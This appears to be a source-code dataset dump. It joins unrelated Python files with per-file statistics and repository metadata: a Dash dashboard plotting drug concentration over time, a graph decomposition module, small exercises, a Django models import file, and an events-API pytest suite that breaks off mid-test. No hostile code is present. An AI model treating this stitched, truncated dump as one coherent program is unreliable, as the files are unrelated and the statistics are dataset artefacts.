'inline-block'})], style={'margin': '100px'} ) def _generate_concentration_time_log_mean(self): df_r = self.settings[0].concentration_r.mean() df_t = self.settings[0].concentration_t.mean() time = df_t.index fig = go.Figure() fig.add_trace(go.Scatter(x=time, y=df_r, name='R')) fig.add_trace(go.Scatter(x=time, y=df_t, name='T')) fig.add_trace(go.Scatter(x=[time[np.argmax(df_t)]], y = [max(df_t)], mode='markers', name='Максимум T', marker=dict(size = 15, color = 'violet'))) fig.add_trace(go.Scatter(x=[time[np.argmin(df_t)]], y = [min(df_t)], mode='markers', name='Минимум T', marker=dict(size = 15, color = 'green'))) fig.add_trace(go.Scatter(x=[time[np.argmax(df_r)]], y = [max(df_r)], mode='markers', name='Максимум R', marker=dict(size = 15, color = 'violet'))) fig.add_trace(go.Scatter(x=[time[np.argmin(df_r)]], y = [min(df_r)], mode='markers', name='Минимум R', marker=dict(size = 15, color = 'green'))) fig.update_xaxes(title='Время') fig.update_yaxes(title='Концентрация', type='log') return html.Div([html.Div(html.H1( children='Обобщенный график зависимости прологарифмированной концентрации от времени'), style={'text-align': 'center'}), html.Div([ dcc.Graph(id='concentration_time_r_log_mean', figure=fig)], style={'width': '78%', 'display': 'inline-block', 'border-color': 'rgb(220, 220, 220)', 'border-style': 'solid', 'padding': '5px'}), html.Div(dcc.Markdown(children=markdown_text_conc_time_log_mean), style={'width': '18%', 'float': 'right', 'display': 'inline-block'})], style={'margin': '100px'} ) def _generate_concentration_time_linlog_mean(self): df_r = self.settings[0].concentration_r.mean() df_t = self.settings[0].concentration_t.mean() time = df_t.index def update_graph(yaxis_type_conc_linlog_mean): fig = go.Figure() fig.add_trace(go.Scatter(x=time, y=df_r, name='R')) fig.add_trace(go.Scatter(x=time, y=df_t, name='T')) fig.add_trace(go.Scatter(x=[time[np.argmax(df_t)]], y = [max(df_t)], mode='markers', name='Максимум T', marker=dict(size = 15, color = 'violet'))) fig.add_trace(go.Scatter(x=[time[np.argmin(df_t)]], y = [min(df_t)], mode='markers', name='Минимум T', marker=dict(size = 15, color = 'green'))) fig.add_trace(go.Scatter(x=[time[np.argmax(df_r)]], y = [max(df_r)], mode='markers', name='Максимум R', marker=dict(size = 15, color = 'violet'))) fig.add_trace(go.Scatter(x=[time[np.argmin(df_r)]], y = [min(df_r)], mode='markers', name='Минимум R', marker=dict(size = 15, color = 'green'))) fig.update_xaxes(title='Время') fig.update_yaxes(title='Концентрация', type=yaxis_type_conc_linlog_mean) return fig self.app.callback(dash.dependencies.Output('concentration_time_linlog_mean', 'figure'), [dash.dependencies.Input('yaxis_type_conc_linlog_mean', 'value')])(update_graph) return html.Div([html.Div(html.H1(children='Обобщенный график зависимости концентрации от времени'), style={'text-align': 'center'}), html.Div([ html.Div([ html.Div([dcc.RadioItems( id='yaxis_type_conc_linlog_mean', options=[{'label': i, 'value': i} for i in ['linear', 'log']], value='linear' )], style={'width': '48%', 'display': 'inline-block'}) ], style={'padding': '5px'}), dcc.Graph(id='concentration_time_linlog_mean')], style={'width': '78%', 'display': 'inline-block', 'border-color': 'rgb(220, 220, 220)', 'border-style': 'solid', 'padding': '5px'}), html.Div(dcc.Markdown(children=markdown_text_conc_time_mean), style={'width': '18%', 'float': 'right', 'display': 'inline-block'})], style={'margin': '100px'} ) def _generate_group_mean(self, tr=True): if tr: df_t = self.settings[0].concentration_t_1.mean() df_r = self.settings[0].concentration_r_1.mean() time = df_t.index def update_graph(group_mean_type_tr): fig = go.Figure() fig.add_trace(go.Scatter(x=time, y=df_t, name='T')) fig.add_trace(go.Scatter(x=time, y=df_r, name='R')) fig.add_trace(go.Scatter(x=[time[np.argmax(df_t)]], y = [max(df_t)], mode='markers', name='Максимум T', marker=dict(size = 15, color = 'violet'))) fig.add_trace(go.Scatter(x=[time[np.argmin(df_t)]], y = [min(df_t)], mode='markers', name='Минимум T', marker=dict(size = 15, color = 'green'))) fig.add_trace(go.Scatter(x=[time[np.argmax(df_r)]], y = [max(df_r)], mode='markers', name='Максимум R', marker=dict(size = 15, color = 'violet'))) fig.add_trace(go.Scatter(x=[time[np.argmin(df_r)]], y = [min(df_r)], mode='markers', name='Минимум R', marker=dict(size = 15, color = 'green'))) fig.update_xaxes(title='Время') fig.update_yaxes(type=group_mean_type_tr, title='Концентрация') return fig self.app.callback(dash.dependencies.Output('concentration_time_tr_mean', 'figure'), dash.dependencies.Input('group_mean_type_tr', 'value'))(update_graph) return html.Div([html.Div(html.H1(children='Средняя концентрация от времени группа TR'), style={'text-align': 'center'}), html.Div([ html.Div([dcc.RadioItems( id='group_mean_type_tr', options=[{'label': i, 'value': i} for i in ['linear', 'log']], value='linear' )], style={'width': '48%', 'display': 'inline-block'}), dcc.Graph(id='concentration_time_tr_mean')], style={'width': '78%', 'display': 'inline-block', 'border-color': 'rgb(220, 220, 220)', 'border-style': 'solid', 'padding': '5px'}), html.Div(dcc.Markdown(children=markdown_group_mean_tr), style={'width': '18%', 'float': 'right', 'display': 'inline-block'})], style={'margin': '100px'} ) else: df_t = self.settings[0].concentration_t_2.mean() df_r = self.settings[0].concentration_r_2.mean() time = df_t.index def update_graph(group_mean_type_rt): fig = go.Figure() fig.add_trace(go.Scatter(x=time, y=df_t, name='T')) fig.add_trace(go.Scatter(x=time, y=df_r, name='R')) fig.add_trace(go.Scatter(x=[time[np.argmax(df_t)]], y = [max(df_t)], mode='markers', name='Максимум T', marker=dict(size = 15, color = 'violet'))) fig.add_trace(go.Scatter(x=[time[np.argmin(df_t)]], y = [min(df_t)], mode='markers', name='Минимум T', marker=dict(size = 15, color = 'green'))) fig.add_trace(go.Scatter(x=[time[np.argmax(df_r)]], y = [max(df_r)], mode='markers', name='Максимум R', marker=dict(size = 15, color = 'violet'))) fig.add_trace(go.Scatter(x=[time[np.argmin(df_r)]], y = [min(df_r)], mode='markers', name='Минимум R', marker=dict(size = 15, color = 'green'))) fig.update_xaxes(title='Время') fig.update_yaxes(type=group_mean_type_rt, title='Концентрация') return fig self.app.callback(dash.dependencies.Output('concentration_time_rt_mean', 'figure'), dash.dependencies.Input('group_mean_type_rt', 'value'))(update_graph) return html.Div([html.Div(html.H1(children='Средняя концентрация от времени группа RT'), style={'text-align': 'center'}), html.Div([ html.Div([dcc.RadioItems( id='group_mean_type_rt', options=[{'label': i, 'value': i} for i in ['linear', 'log']], value='linear' )], style={'width': '48%', 'display': 'inline-block'}), dcc.Graph(id='concentration_time_rt_mean')], style={'width': '78%', 'display': 'inline-block', 'border-color': 'rgb(220, 220, 220)', 'border-style': 'solid', 'padding': '5px'}), html.Div(dcc.Markdown(children=markdown_group_mean_rt), style={'width': '18%', 'float': 'right', 'display': 'inline-block'})], style={'margin': '100px'} ) def _generate_drug_mean(self): df_t_1 = self.settings[0].concentration_t_1.mean() df_t_2 = self.settings[0].concentration_t_2.mean() df_r_1 = self.settings[0].concentration_r_1.mean() df_r_2 = self.settings[0].concentration_r_2.mean() time = df_t_1.index def update_graph(drug_mean_type): fig = go.Figure() fig.add_trace(go.Scatter(x=time, y=( df_t_1 + df_t_2) / 2, name='T')) fig.add_trace(go.Scatter(x=time, y=( df_r_1 + df_r_2) / 2, name='R')) fig.add_trace(go.Scatter(x=[time[np.argmax((df_t_1 + df_t_2) / 2)]], y = [max((df_t_1 + df_t_2) / 2)], mode='markers', name='Максимум T', marker=dict(size = 15, color = 'violet'))) fig.add_trace(go.Scatter(x=[time[np.argmin((df_t_1 + df_t_2) / 2)]], y = [min((df_t_1 + df_t_2) / 2)], mode='markers', name='Минимум T', marker=dict(size = 15, color = 'green'))) fig.add_trace(go.Scatter(x=[time[np.argmax((df_r_1 + df_r_2) / 2)]], y = [max((df_r_1 + df_r_2) / 2)], mode='markers', name='Максимум R', marker=dict(size = 15, color = 'violet'))) fig.add_trace(go.Scatter(x=[time[np.argmin((df_r_1 + df_r_2) / 2)]], y = [min((df_r_1 + df_r_2) / 2)], mode='markers', name='Минимум R', marker=dict(size = 15, color = 'green'))) fig.update_xaxes(title='Время') fig.update_yaxes(type=drug_mean_type, title='Концентрация') return fig self.app.callback(dash.dependencies.Output('drug_mean', 'figure'), dash.dependencies.Input('drug_mean_type', 'value'))(update_graph) return html.Div([html.Div(html.H1(children='Обобщенные данные по двум препаратам'), style={'text-align': 'center'}), html.Div([html.Div([dcc.RadioItems( id='drug_mean_type', options=[{'label': i, 'value': i} for i in ['linear', 'log']], value='linear' )], style={'width': '48%', 'display': 'inline-block'}), dcc.Graph(id='drug_mean')], style={'width': '78%', 'display': 'inline-block', 'border-color': 'rgb(220, 220, 220)', 'border-style': 'solid', 'padding': '5px'}), html.Div(dcc.Markdown(children=markdown_drug_mean), style={'width': '18%', 'float': 'right', 'display': 'inline-block'})], style={'margin': '100px'} )

62.222222

153

0.444626

6,043

61,040

4.303492

0.048982

0.031762

0.053488

0.059909

0.934054

0.916712

0.883142

0.869684

0.841537

0.810505

0

0.02377

0.417611

61,040

980

154

62.285714

0.707784

0.000688

0

0.622517

0

0.161584

0.017804

0

1

0.030905

false

0

0.012141

0.001104

0.081678

0

null

0

1

0

null

0

6

02560728918e83670ec8d88d9fd19f62ed3cbdeb

4,577

py

Python

ego/decomposition/positive_and_negative.py

fabriziocosta/EGO

d89e88183cce1ff24dca9333c09fa11597a45c7a

[ "MIT" ]

null

ego/decomposition/positive_and_negative.py

fabriziocosta/EGO

d89e88183cce1ff24dca9333c09fa11597a45c7a

[ "MIT" ]

null

ego/decomposition/positive_and_negative.py

fabriziocosta/EGO

d89e88183cce1ff24dca9333c09fa11597a45c7a

[ "MIT" ]

1

2022-01-24T09:53:20.000Z

#!/usr/bin/env python """Provides scikit interface.""" from toolz import curry import numpy as np from ego.component import GraphComponent, serialize, get_subgraphs_from_node_components @curry def positive_and_negative(graph, ktop=0, part_importance_estimator=None): codes, fragments = part_importance_estimator.encoding_func(graph) scores = [part_importance_estimator.importance_dict.get(code, 0) for code in codes] if ktop > len(scores) - 1: ktop = len(scores) - 1 ids = np.argsort(scores) positive_components = [set(fragments[id].nodes()) for id in ids[-ktop:]] negative_components = [set(fragments[id].nodes()) for id in ids[:ktop]] return list(positive_components), list(negative_components) @curry def positive_decomposition(graph, ktop=0, part_importance_estimator=None): res = positive_and_negative( graph, ktop=ktop, part_importance_estimator=part_importance_estimator) positive_components, negative_components = res return positive_components @curry def negative_decomposition(graph, ktop=0, part_importance_estimator=None): res = positive_and_negative( graph, ktop=ktop, part_importance_estimator=part_importance_estimator) positive_components, negative_components = res return negative_components @curry def positive_and_negative_decomposition(graph, ktop=0, part_importance_estimator=None): res = positive_and_negative( graph, ktop=ktop, part_importance_estimator=part_importance_estimator) positive_components, negative_components = res return positive_components + negative_components @curry def decompose_positive(graph_component, ktop=0, part_importance_estimator=None): new_subgraphs_list = [] new_signatures_list = [] for subgraph, signature in zip(graph_component.subgraphs, graph_component.signatures): components = positive_decomposition( subgraph, ktop=ktop, part_importance_estimator=part_importance_estimator) new_subgraphs = get_subgraphs_from_node_components( graph_component.graph, components) new_signature = serialize(['positive', ktop], signature) new_signatures = [new_signature] * len(new_subgraphs) new_subgraphs_list += new_subgraphs new_signatures_list += new_signatures gc = GraphComponent( graph=graph_component.graph, subgraphs=new_subgraphs_list, signatures=new_signatures_list) return gc @curry def decompose_negative(graph_component, ktop=0, part_importance_estimator=None): new_subgraphs_list = [] new_signatures_list = [] for subgraph, signature in zip(graph_component.subgraphs, graph_component.signatures): components = negative_decomposition( subgraph, ktop=ktop, part_importance_estimator=part_importance_estimator) new_subgraphs = get_subgraphs_from_node_components( graph_component.graph, components) new_signature = serialize(['negative', ktop], signature) new_signatures = [new_signature] * len(new_subgraphs) new_subgraphs_list += new_subgraphs new_signatures_list += new_signatures gc = GraphComponent( graph=graph_component.graph, subgraphs=new_subgraphs_list, signatures=new_signatures_list) return gc @curry def decompose_positive_and_negative(graph_component, ktop=0, part_importance_estimator=None): new_subgraphs_list = [] new_signatures_list = [] for subgraph, signature in zip(graph_component.subgraphs, graph_component.signatures): components = positive_and_negative_decomposition( subgraph, ktop=ktop, part_importance_estimator=part_importance_estimator) new_subgraphs = get_subgraphs_from_node_components( graph_component.graph, components) new_signature = serialize(['positive_and_negative', ktop], signature) new_signatures = [new_signature] * len(new_subgraphs) new_subgraphs_list += new_subgraphs new_signatures_list += new_signatures gc = GraphComponent( graph=graph_component.graph, subgraphs=new_subgraphs_list, signatures=new_signatures_list) return gc def pst(*args, **kargs): return decompose_positive(*args, **kargs) def ngt(*args, **kargs): return decompose_negative(*args, **kargs) def pstngt(*args, **kargs): return decompose_positive_and_negative(*args, **kargs)

36.616

93

0.719685

509

4,577

6.125737

0.129666

0.094291

0.154907

0.042656

0.842207

0.801796

0.780629

0.768762

0

0.00274

0.202753

4,577

125

94

36.616

0.85174

0.010269

0

0.67

0

0.008177

0.004641

0

1

0.1

false

0

0.18

0.03

0.38

0

null

0

1

0

null

0

6

026a64c83a37bffdbf432fe20a0716dd9d09fa5a

189

py

Python

generators_comprehension/list_comphresension/listcomp.py

kumarvgit/python3

318c5e7503fafc9c60082fa123e2930bd82a4ec9

[ "MIT" ]

null

generators_comprehension/list_comphresension/listcomp.py

kumarvgit/python3

318c5e7503fafc9c60082fa123e2930bd82a4ec9

[ "MIT" ]

null

generators_comprehension/list_comphresension/listcomp.py

kumarvgit/python3

318c5e7503fafc9c60082fa123e2930bd82a4ec9

[ "MIT" ]

null

print(__file__) numbers = range(1, 6) # list comprehesnion squares = [number ** 2 for number in numbers] # set comprehesnion # squares = {number ** 2 for number in numbers} print(squares)

21

47

0.719577

26

189

5.076923

0.538462

0.30303

0.393939

0.409091

0.681818

0

0.025478

0.169312

189

8

48

23.625

0.815287

0.433862

0

1

0

false

0

0.5

1

0

null

1

0

1

0

null

0

1

0

6

65fc696191700ab451569faf82b46c35dee280f4

111

py

Python

Python exercicios/operador.py

andrelopes1977/python-exercicios

06f9b5aa0defeda3030a861a0a9f16b4769bc810

[ "MIT" ]

null

Python exercicios/operador.py

andrelopes1977/python-exercicios

06f9b5aa0defeda3030a861a0a9f16b4769bc810

[ "MIT" ]

null

Python exercicios/operador.py

andrelopes1977/python-exercicios

06f9b5aa0defeda3030a861a0a9f16b4769bc810

[ "MIT" ]

null

x = 2 y = 3 z = 4 print(x == y) print(x > y) print(x < y) print(x == y and x == z) print(x == y or x == z)

8.538462

24

0.45045

27

111

1.851852

0.333333

0.6

0.7

0.72

0.56

0

0.04

0.324324

111

13

25

8.538462

0.626667

0

1

0

false

0

0.625

1

0

1

null

1

0

null

0

1

0

6

5a1de765415938b1b2c2997c6378db19f6ed4d5e

698

py

Python

share/models/__init__.py

felliott/SHARE

8fd60ff4749349c9b867f6188650d71f4f0a1a56

[ "Apache-2.0" ]

null

share/models/__init__.py

felliott/SHARE

8fd60ff4749349c9b867f6188650d71f4f0a1a56

[ "Apache-2.0" ]

null

share/models/__init__.py

felliott/SHARE

8fd60ff4749349c9b867f6188650d71f4f0a1a56

[ "Apache-2.0" ]

null

# NOTE: The order of these imports actually matter from share.models.core import * # noqa from share.models.ingest import * # noqa from share.models.meta import * # noqa from share.models.change import * # noqa from share.models.agents import * # noqa from share.models.creative import * # noqa from share.models.base import ExtraData # noqa from share.models.registration import * # noqa from share.models.identifiers import * # noqa from share.models.relations import * # noqa from share.models.banner import * # noqa from share.models.ingest import * # noqa from share.models.jobs import * # noqa from share.models.sources import * # noqa from share.models.celery import * # noqa

41.058824

50

0.749284

99

698

5.282828

0.282828

0.258126

0.43021

0.508604

0.644359

0.214149

0

0.163324

698

16

51

43.625

0.895548

0.176218

0

0.133333

0

1

0

true

0

1

0

1

0

null

1

0

null

0

1

0

1

0

1

0

6

5a2a38e95c45b8bc3c7ba901dc2ae4101f089560

75,553

py

Python

py/tests/test_events.py

samuelcolvin/nosht

9e4d9bea8ff6bfae86cae948cc3028ccc68d0188

[ "MIT" ]

26

2018-07-28T23:11:27.000Z

2022-02-09T13:40:33.000Z

py/tests/test_events.py

samuelcolvin/nosht

9e4d9bea8ff6bfae86cae948cc3028ccc68d0188

[ "MIT" ]

336

2018-05-25T17:57:00.000Z

2022-03-11T23:24:36.000Z

py/tests/test_events.py

samuelcolvin/nosht

9e4d9bea8ff6bfae86cae948cc3028ccc68d0188

[ "MIT" ]

4

2018-07-18T08:37:19.000Z

2022-01-31T14:42:48.000Z

import re from datetime import datetime, timedelta, timezone from decimal import Decimal import pytest import pytz from aiohttp import FormData from pytest_toolbox.comparison import AnyInt, CloseToNow, RegexStr from shared.utils import waiting_list_sig from .conftest import Factory, create_image async def test_event_public(cli, url, factory: Factory, db_conn): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event( status='published', location_name='Testing Location', location_lat=51.5, location_lng=-0.5 ) cat_slug, event_slug = await db_conn.fetchrow( 'SELECT cat.slug, e.slug FROM events AS e JOIN categories cat on e.category = cat.id WHERE e.id=$1', factory.event_id, ) r = await cli.get(url('event-get-public', category=cat_slug, event=event_slug)) assert r.status == 200, await r.text() data = await r.json() assert data == { 'ticket_types': [ {'mode': 'donation', 'name': 'Standard', 'price': 10.0}, {'mode': 'ticket', 'name': 'Standard', 'price': None}, ], 'event': { 'id': factory.event_id, 'category_id': factory.category_id, 'name': 'The Event Name', 'image': 'https://www.example.org/main.png', 'secondary_image': None, 'youtube_video_id': None, 'short_description': RegexStr(r'.*'), 'long_description': RegexStr(r'.*'), 'description_intro': RegexStr(r'.*'), 'description_image': None, 'external_ticket_url': None, 'external_donation_url': None, 'allow_tickets': True, 'allow_donations': False, 'category_content': None, 'location': {'name': 'Testing Location', 'lat': 51.5, 'lng': -0.5}, 'start_ts': '2032-06-28T19:00:00', 'tz': 'BST', 'duration': 3600, 'tickets_available': None, 'host_id': factory.user_id, 'host_name': 'Frank Spencer', 'ticket_extra_help_text': None, 'ticket_extra_title': None, 'allow_marketing_message': None, 'booking_trust_message': None, 'cover_costs_message': None, 'cover_costs_percentage': None, 'terms_and_conditions_message': None, }, 'existing_tickets': 0, 'on_waiting_list': False, } async def test_event_wrong_slug(cli, url, factory: Factory): await factory.create_company() r = await cli.get(url('event-get-public', category='foobar', event='snap')) assert r.status == 404, await r.text() async def test_event_not_public(cli, url, factory: Factory, db_conn): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event(public=False, status='published') cat_slug, event_slug = await db_conn.fetchrow( 'SELECT cat.slug, e.slug FROM events AS e JOIN categories cat on e.category = cat.id WHERE e.id=$1', factory.event_id, ) r = await cli.get(url('event-get-public', category=cat_slug, event=event_slug)) assert r.status == 404, await r.text() assert {'message': 'event not found'} == await r.json() async def test_private_event_good(cli, url, factory: Factory, db_conn, settings): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event(public=False, status='published') event_link = await db_conn.fetchval( """ SELECT event_link(cat.slug, e.slug, e.public, $2) FROM events AS e JOIN categories cat on e.category = cat.id WHERE e.id=$1 """, factory.event_id, settings.auth_key, ) _, cat_slug, event_slug, sig = event_link.strip('/').split('/') r = await cli.get(url('event-get-private', category=cat_slug, event=event_slug, sig=sig)) assert r.status == 200, await r.text() data = await r.json() assert data['event']['id'] == factory.event_id async def test_private_event_bad_sig(cli, url, factory: Factory, db_conn, settings): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event(public=False, status='published') event_link = await db_conn.fetchval( """ SELECT event_link(cat.slug, e.slug, e.public, $2) FROM events AS e JOIN categories cat on e.category = cat.id WHERE e.id=$1 """, factory.event_id, settings.auth_key, ) _, cat_slug, event_slug, sig = event_link.strip('/').split('/') r = await cli.get(url('event-get-private', category=cat_slug, event=event_slug, sig=sig + 'x')) assert r.status == 404, await r.text() assert {'message': 'event not found'} == await r.json() async def test_bread_browse(cli, url, factory: Factory, login): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event(public=False, status='published') london = pytz.timezone('Europe/London') await factory.create_event(name='second event', start_ts=london.localize(datetime(2032, 6, 30, 0, 0))) await login() r = await cli.get(url('event-browse')) assert r.status == 200, await r.text() data = await r.json() assert data == { 'items': [ { 'id': AnyInt(), 'name': 'second event', 'category': 'Supper Clubs', 'status': 'pending', 'highlight': False, 'start_ts': '2032-06-30T00:00:00', 'duration': 3600, }, { 'id': AnyInt(), 'name': 'The Event Name', 'category': 'Supper Clubs', 'status': 'published', 'highlight': False, 'start_ts': '2032-06-28T19:00:00', 'duration': 3600, }, ], 'count': 2, 'pages': 1, } async def test_bread_retrieve(cli, url, factory: Factory, login): await factory.create_company() await factory.create_cat() await factory.create_user() await factory.create_event( public=False, status='published', youtube_video_id='abcxyz', short_description='xxx', long_description='yyy', description_intro='zzzz', ) await login() r = await cli.get(url('event-retrieve', pk=factory.event_id)) assert r.status == 200, await r.text() data = await r.json() assert data == { 'id': factory.event_id, 'name': 'The Event Name', 'category': 'Supper Clubs', 'status': 'published', 'highlight': False, 'allow_donations': False, 'allow_tickets': True, 'start_ts': '2032-06-28T19:00:00', 'timezone': 'Europe/London', 'duration': 3600, 'cat_id': factory.category_id, 'public': False, 'image': None, 'secondary_image': None, 'ticket_limit': None, 'donation_target': None, 'location_name': None, 'location_lat': None, 'location_lng': None, 'youtube_video_id': 'abcxyz', 'short_description': 'xxx', 'long_description': 'yyy', 'description_intro': 'zzzz', 'description_image': None, 'external_ticket_url': None, 'external_donation_url': None, 'host': factory.user_id, 'host_name': 'Frank Spencer', 'link': '/pvt/supper-clubs/the-event-name/8d2a9334aa29f2151668a54433df2e9d/', } async def test_bread_browse_host(cli, url, factory: Factory, login): await factory.create_company() await factory.create_cat() await factory.create_user(role='host') await factory.create_event() u2 = await factory.create_user(email='u2@example.org') await factory.create_event(host_user_id=u2, name='another event') await login() r = await cli.get(url('event-browse')) assert r.status == 200, await r.text() data = await r.json() assert data['count'] == 1 assert data['pages'] == 1 assert len(data['items']) == 1 async def test_bread_retrieve_host(cli, url, factory: Factory, login): await factory.create_company() await factory.create_cat() await factory.create_user(role='host') await factory.create_event() u2 = await factory.create_user(email='u2@example.org') e2 = await factory.create_event(host_user_id=u2, name='another event') await login() r = await cli.get(url('event-retrieve', pk=factory.event_id)) assert r.status == 200, await r.text() r = await cli.get(url('event-retrieve', pk=e2)) assert r.status == 404, await r.text() async def test_event_categories(cli, url, factory: Factory, login): await factory.create_company() await factory.create_cat() await factory.create_user() await login() r = await cli.get(url('event-categories')) assert r.status == 200, await r.text() data = await r.json() assert data == { 'categories': [ { 'id': factory.category_id, 'name': 'Supper Clubs', 'host_advice': None, 'event_type': 'ticket_sales', 'suggested_price': None, }, ], } async def test_create_event(cli, url, db_conn, factory: Factory, login, dummy_server): await factory.create_company() await factory.create_cat() await factory.create_user() await login() data = dict( name='foobar', category=factory.category_id, location={'lat': 50, 'lng': 0, 'name': 'London'}, date={'dt': datetime(2032, 2, 1, 19, 0).strftime('%s'), 'dur': 7200}, timezone='Europe/London', long_description='# title\nI love to **party**', description_intro='some intro texxxt', youtube_video_id='abcxyz', ) assert 0 == await db_conn.fetchval('SELECT COUNT(*) FROM events') assert 0 == await db_conn.fetchval('SELECT COUNT(*) FROM ticket_types') r = await cli.json_post(url('event-add'), data=data) assert r.status == 201, await r.text() assert 1 == await db_conn.fetchval('SELECT COUNT(*) FROM events') data = await r.json() event = dict(await db_conn.fetchrow('SELECT * FROM events')) event_id = event.pop('id') assert data == {'status': 'ok', 'pk': event_id} assert event == { 'category': factory.category_id, 'status': 'published', 'host': factory.user_id, 'name': 'foobar', 'slug': 'foobar', 'highlight': False, 'allow_donations': False, 'allow_tickets': True, 'start_ts': datetime(2032, 2, 1, 19, 0, tzinfo=timezone.utc), 'timezone': 'Europe/London', 'duration': timedelta(seconds=7200), 'youtube_video_id': 'abcxyz', 'short_description': 'title I love to party', 'long_description': '# title\nI love to **party**', 'description_intro': 'some intro texxxt', 'description_image': None, 'external_ticket_url': None, 'external_donation_url': None, 'public': True, 'location_name': 'London', 'location_lat': 50.0, 'location_lng': 0.0, 'ticket_limit': None, 'donation_target': None, 'tickets_taken': 0, 'image': None, 'secondary_image': None, } assert 1 == await db_conn.fetchval('SELECT COUNT(*) FROM ticket_types where mode=$1', 'ticket') tt = dict(await db_conn.fetchrow('SELECT event, name, price, slots_used, active FROM ticket_types')) assert tt == { 'event': event_id, 'name': 'Standard', 'price': None, 'slots_used': 1, 'active': True, } assert len(dummy_server.app['emails']) == 1 email = dummy_server.app['emails'][0] # debug(email) assert email['Subject'] == 'Update: Frank Spencer created an event "foobar"' assert email['part:text/plain'] == ( f'Testing update:\n' f'\n' f'Event "foobar" (Supper Clubs) created by "Frank Spencer" (admin), click the link below to view the event.\n' f'\n' f'<div class="button">\n' f' <a href="https://127.0.0.1/dashboard/events/{event_id}/">View Event</a>\n' f'</div>\n' ) async def test_create_private_all_day(cli, url, db_conn, factory: Factory, login): await factory.create_company() await factory.create_cat() await factory.create_user() await login() data = dict( name='foobar', category=factory.category_id, public=False, location={'lat': 50, 'lng': 0, 'name': 'London'}, date={'dt': datetime(2032, 2, 1, 19, 0).strftime('%s'), 'dur': None}, timezone='Europe/London', long_description='I love to party', ) r = await cli.json_post(url('event-add'), data=data) assert r.status == 201, await r.text() assert 1 == await db_conn.fetchval('SELECT COUNT(*) FROM events') public, start_ts, duration = await db_conn.fetchrow('SELECT public, start_ts, duration FROM events') assert public is False assert start_ts == datetime(2032, 2, 1, 0, 0, tzinfo=timezone.utc) assert duration is None async def test_create_event_duplicate_slug(cli, url, db_conn, factory: Factory, login): await factory.create_company() await factory.create_cat() await factory.create_user() await login() data = dict( name='foobar', category=factory.category_id, long_description='I love to party', timezone='Europe/London', date={'dt': datetime(2032, 2, 1, 19, 0).strftime('%s'), 'dur': 3600}, ) assert 0 == await db_conn.fetchval('SELECT COUNT(*) FROM events') r = await cli.json_post(url('event-add'), data=data) assert r.status == 201, await r.text() assert 1 == await db_conn.fetchval('SELECT COUNT(*) FROM events') r = await cli.json_post(url('event-add'), data=data) assert r.status == 201, await r.text() assert 2 == await db_conn.fetchval('SELECT COUNT(*) FROM events') slug1, slug2 = [r[0] for r in await db_conn.fetch('SELECT slug FROM events ORDER BY id')] assert slug1 == 'foobar' assert slug2 == RegexStr(r'foobar\-[A-Za-z0-9]{4}') async def test_create_event_host(cli, url, db_conn, factory: Factory, login): await factory.create_company() await factory.create_cat() await factory.create_user(role='host') await login() await db_conn.fetchval("UPDATE users SET status='pending'") data = dict( name='foobar', category=factory.category_id, long_description='I love to party', timezone='Europe/London', date={'dt': datetime(2032, 2, 1, 19, 0).strftime('%s'), 'dur': 3600}, ) r = await cli.json_post(url('event-add'), data=data) assert r.status == 201, await r.text() assert 1 == await db_conn.fetchval('SELECT COUNT(*) FROM events') status = await db_conn.fetchval('SELECT status FROM events') assert status == 'pending' async def test_create_timezone(cli, url, db_conn, factory: Factory, login): await factory.create_company() await factory.create_cat() await factory.create_user() await login() data = dict( name='foobar', category=factory.category_id, location={'lat': 50, 'lng': 0, 'name': 'London'}, date={'dt': datetime(2032, 6, 1, 19, 0).isoformat(), 'dur': 7200}, timezone='America/New_York', long_description='# title\nI love to **party**', ) r = await cli.json_post(url('event-add'), data=data) assert r.status == 201, await r.text() assert 1 == await db_conn.fetchval('SELECT COUNT(*) FROM events') data = await r.json() start_ts, tz = await db_conn.fetchrow('SELECT start_ts, timezone FROM events WHERE id=$1', data['pk']) assert tz == 'America/New_York' assert start_ts == datetime(2032, 6, 1, 23, 0, tzinfo=timezone.utc) async def test_create_external_ticketing(cli, url, db_conn, factory: Factory, login): await factory.create_company() await factory.create_cat() await factory.create_user() await login() data = dict( name='foobar', category=factory.category_id, location={'lat': 50, 'lng': 0, 'name': 'London'}, date={'dt': datetime(2032, 6, 1, 19, 0).isoformat(), 'dur': 7200}, external_ticket_url='https://www.example.com/the-test-event/', timezone='America/New_York', long_description='# title\nI love to **party**', ) r = await cli.json_post(url('event-add'), data=data) assert r.status == 201, await r.text() assert 1 == await db_conn.fetchval('SELECT COUNT(*) FROM events') data = await r.json() external_ticket_url = await db_conn.fetchval('SELECT external_ticket_url FROM events WHERE id=$1', data['pk']) assert external_ticket_url == 'https://www.example.com/the-test-event/' cat_slug, event_slug = await db_conn.fetchrow( 'SELECT cat.slug, e.slug FROM events e JOIN categories cat on e.category = cat.id WHERE e.id=$1', data['pk'] ) r = await cli.get(url('event-get-public', category=cat_slug, event=event_slug)) assert r.status == 200, await r.text() data = await r.json() assert data['event']['external_ticket_url'] == 'https://www.example.com/the-test-event/' async def test_create_event_host_external_ticketing(cli, url, db_conn, factory: Factory, login): await factory.create_company() await factory.create_cat() await factory.create_user(role='host') await login() await db_conn.fetchval("UPDATE users SET status='pending'") data = dict( name='foobar', category=factory.category_id, long_description='I love to party', timezone='Europe/London', date={'dt': datetime(2032, 2, 1, 19, 0).strftime('%s'), 'dur': 3600}, external_ticket_url='https://www.example.com/the-test-event/', ) r = await cli.json_post(url('event-add'), data=data) assert r.status == 403, await r.text() data = await r.json() assert data == {'message': 'external_ticket_url may only be set by admins'} assert 0 == await db_conn.fetchval('SELECT COUNT(*) FROM events') async def test_create_external_donations(cli, url, db_conn, factory: Factory, login): await factory.create_company() await factory.create_cat() await factory.create_user() await login() data = dict( name='foobar', category=factory.category_id, long_description='longgggg descriptionnnn', date={'dt': datetime(2032, 2, 1, 19, 0).strftime('%s'), 'dur': 3600}, timezone='America/New_York', external_donation_url='https://www.example.com/give-monies-now/', ) r = await cli.json_post(url('event-add'), data=data) assert r.status == 201, await r.text() assert 1 == await db_conn.fetchval('SELECT COUNT(*) FROM events') j = await r.json() external_donation_url = await db_conn.fetchval('SELECT external_donation_url FROM events WHERE id=$1', j['pk']) assert external_donation_url == data['external_donation_url'] cat_slug, event_slug = await db_conn.fetchrow( 'SELECT cat.slug, e.slug FROM events e JOIN categories cat on e.category = cat.id 